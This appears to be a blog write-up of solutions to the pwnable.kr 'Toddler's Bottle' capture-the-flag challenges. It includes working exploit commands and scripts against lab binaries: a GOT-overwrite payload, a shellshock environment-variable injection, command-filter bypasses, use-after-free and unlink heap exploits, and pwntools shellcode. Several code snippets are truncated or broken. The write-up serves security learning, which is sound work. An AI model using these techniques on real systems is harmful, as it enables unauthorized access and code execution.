Toddlers’ Bottle

5 minute read

All the challenge is accessible in


When the file fd equals to 0, the read() will get string from standard input. So just type 4660 which equals to 0x1234


It converts char* to int*, which means that if we type ./col ABCDEFGHIJKLMNOPQRST, it will becomes number like 0x44434241 0x47464544 0x51504948 0x54535251 0x58585655(little endian). Just find appropriate number to crack it.


Simple Overflow:

from pwn import *
c = remote("", 9000)


Notice that the value passed to scanf is not a pointer and it’s without default value. We can first use stack(buf[100]) to write the default value and then overwrite GOT table:

(python -c 'print "0"*96+"\x04\xa0\x04\x08"+"134514135"') | ./passcode


The random() in glib is pseudo-random. So, the first value is always 0x6b8b4567. Just simply brute-force the xor value.


Just use pipe, nano, and nc to give input


PC always points to the next instruction, while lr points to the return address. By adding the offset, we can simply can get the result.


Let’s first have a look at fd=open("/home/mistake/password",O_RDONLY,0400) < 0. Because < is prior to =, fd will always be 0 while opening a file successfully. fd=0 means that read(fd,pw_buf,PW_LEN) will always read stdin input. We just need to calculate xor(buf2,10) and give its result in stdin. e.g.

do not bruteforce...
input password : 0000000000
Password OK


Google shellshock vulnerability. And get:

$ export foo='() { echo "aaa"; }; value=$(<flag);echo "$value"'
$ ./shellshock


Simple math, use binary search is enough


The code does not check negative value, just type -100000000 and you will get enough money.


for(i=0; i<6; i++){
  for(j=0; j<6; j++){
    if(lotto[i] == submit[j]){

We can type duplicate word to increase the posbility to win, e.g:,,,,,,


We have to bypass the restriction of flag, sh, tmp. And the PATH is set to /thankyouverymuch. Just use an absolute address to execute command and use \ escape to bypass strstr: ./cmd1 "/bin/cat < /home/cmd1/fla\g"


Almost the same as above one: ./cmd2 "read line;exec \$line". Then type: /bin/cat flag


let’s set a break point at *main+286 which is instruction call rdx. We the breakpoint is triggered, let’s reveal the data on stack:

gdb> x/4wx $rbp-0x38:
0x7ffca7f01ee8:	0x02131ea0	0x00000000	0x02131ef0	0x00000000

Why x/4wx $rbp-0x38, as the disassemble instruction shown:

0x0000000000400fcd <+265>:	mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fd1 <+269>:	mov    rax,QWORD PTR [rax]
   0x0000000000400fd4 <+272>:	add    rax,0x8
   0x0000000000400fd8 <+276>:	mov    rdx,QWORD PTR [rax]
   0x0000000000400fdb <+279>:	mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf <+283>:	mov    rdi,rax
   0x0000000000400fe2 <+286>:	call   rdx

The call rdx is actually call *(*(*($rbp-0x38))+8).

We get 0x02131ea0, which is the address pointed to Man instance created by new in line Human* m = new Man("Jack", 25);

Let’s have a closer look to the pointer: x/10wx 0x02131ea0, here is the result:

0x2131ea0:	0x00401570	0x00000000	0x00000019	0x00000000
0x19, which is exactly the same as 25. It verifies our assumption!
Therefore, 0x00401570 is the address of vtable.
Now, the call *(*(*($rbp-0x38))+8) = call *(*(0x02131ea0)+8) = call *(0x00401570+8) = call rdx. After examing vtable by x/20wx 0x00401570, we found that:
0x401570 <_ZTV3Man+16>:	0x0040117a	0x00000000	0x004012d2	0x00000000
0x401580 <_ZTV5Human>:	0x00000000	0x00000000	0x004015f0	0x00000000
0x401590 <_ZTV5Human+16>:	0x0040117a	0x00000000	0x00401192	0x00000000
0x4015a0 <_ZTS5Woman>:	0x6d6f5735	0x00006e61	0x00000000	0x00000000
0x4015b0 <_ZTI5Woman>:	0x00602390	0x00000000	0x004015a0	0x00000000

And the x 0x0040117a is exactly the address of: 0x40117a <_ZN5Human10give_shellEv>: 0xe5894855

If we call *(0x401570-8+8), we can execute shell on it!

How to? First, we need to create a file which includes our payload: python -c 'print ("\x68\x15\x40\x00\x00\x00\x00\x00")' > payload. Then, run the proram ./uaf 24 payload. Our fake instance needs to have size 24 to match the original instance’s size. Then, type 3 to delete the original Man and Womaninstance. And type 2 for twice to create two fake instances, which adjusts the vtable the vtable offset to get shell. Although the m and w is deleted, the pointer still points to the same place of stack, which point to out fake instance. Finally, we type 3 to get shell.


pwntools can handle it easily:

from pwn import *
con = ssh(host='', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)
context(arch='amd64', os='linux')
shellcode = shellcraft.amd64.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode +='rsp',0,0)
shellcode +='rax','rsp',0)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 100)
p.recvuntil('shellcode: ')


Old style hacking. We can use unlink to overwrite the return address of main:

from pwn import *
s = ssh(host='', port=2222, user='unlink', password='guest')
a = s.process(["./unlink"])
r = a.recvuntil('get shell!\n')
stack_addr = int(r.split('leak: 0x')[1][:8], 16)
heap_addr = int(r.split('leak: 0x')[2][:8], 16)
shell_addr = 0x80484eb
a.send("A"*16 + p32(heap_addr + 0x24) + p32(stack_addr + 0x10) + p32(shell_addr))


Set the address of function A, B, C, D, E, F, G in your ROP chain to leak. After caculation their sum, use ROP to call ropmeand pass sum to get flag.


This challenge gives us source code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
  int i;
  for(i=0; i<strlen(s); i++){
    flag[i] = s[i] ^ key[i];
  printf("%s\n", flag);
int main(){
  FILE* fp = fopen("/home/blukat/password", "r");
  fgets(password, 100, fp);
  char buf[100];
  printf("guess the password!\n");
  fgets(buf, 128, stdin);
  if(!strcmp(password, buf)){
    printf("congrats! here is your flag: ");
  } else {
    printf("wrong guess!\n");
  return 0;

While it has canary check and exit function. It’s impossible to use overflow.

GDB method

I use this method. You can use gdb to debug the program. Set a breakpoint after calling read function and check data in the password varaible. Then, you can retrieve the string and use calc_flag to decrypt it.

$ gdb blukat
(gdb) b *main+74
(gdb) r
(gdb) x/s 0x6010a0

Permission method

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
  int i;
  for(i=0; i<strlen(s); i++){
    flag[i] = s[i] ^ key[i];
  printf("%s\n", flag);
int main(){
  FILE* fp = fopen("/home/blukat/password", "r");
  fgets(password, 100, fp);
  char buf[100];
  return 0;

We can compile another program from buckat.c with a little bit modification: This should be the intended method.




Leave a comment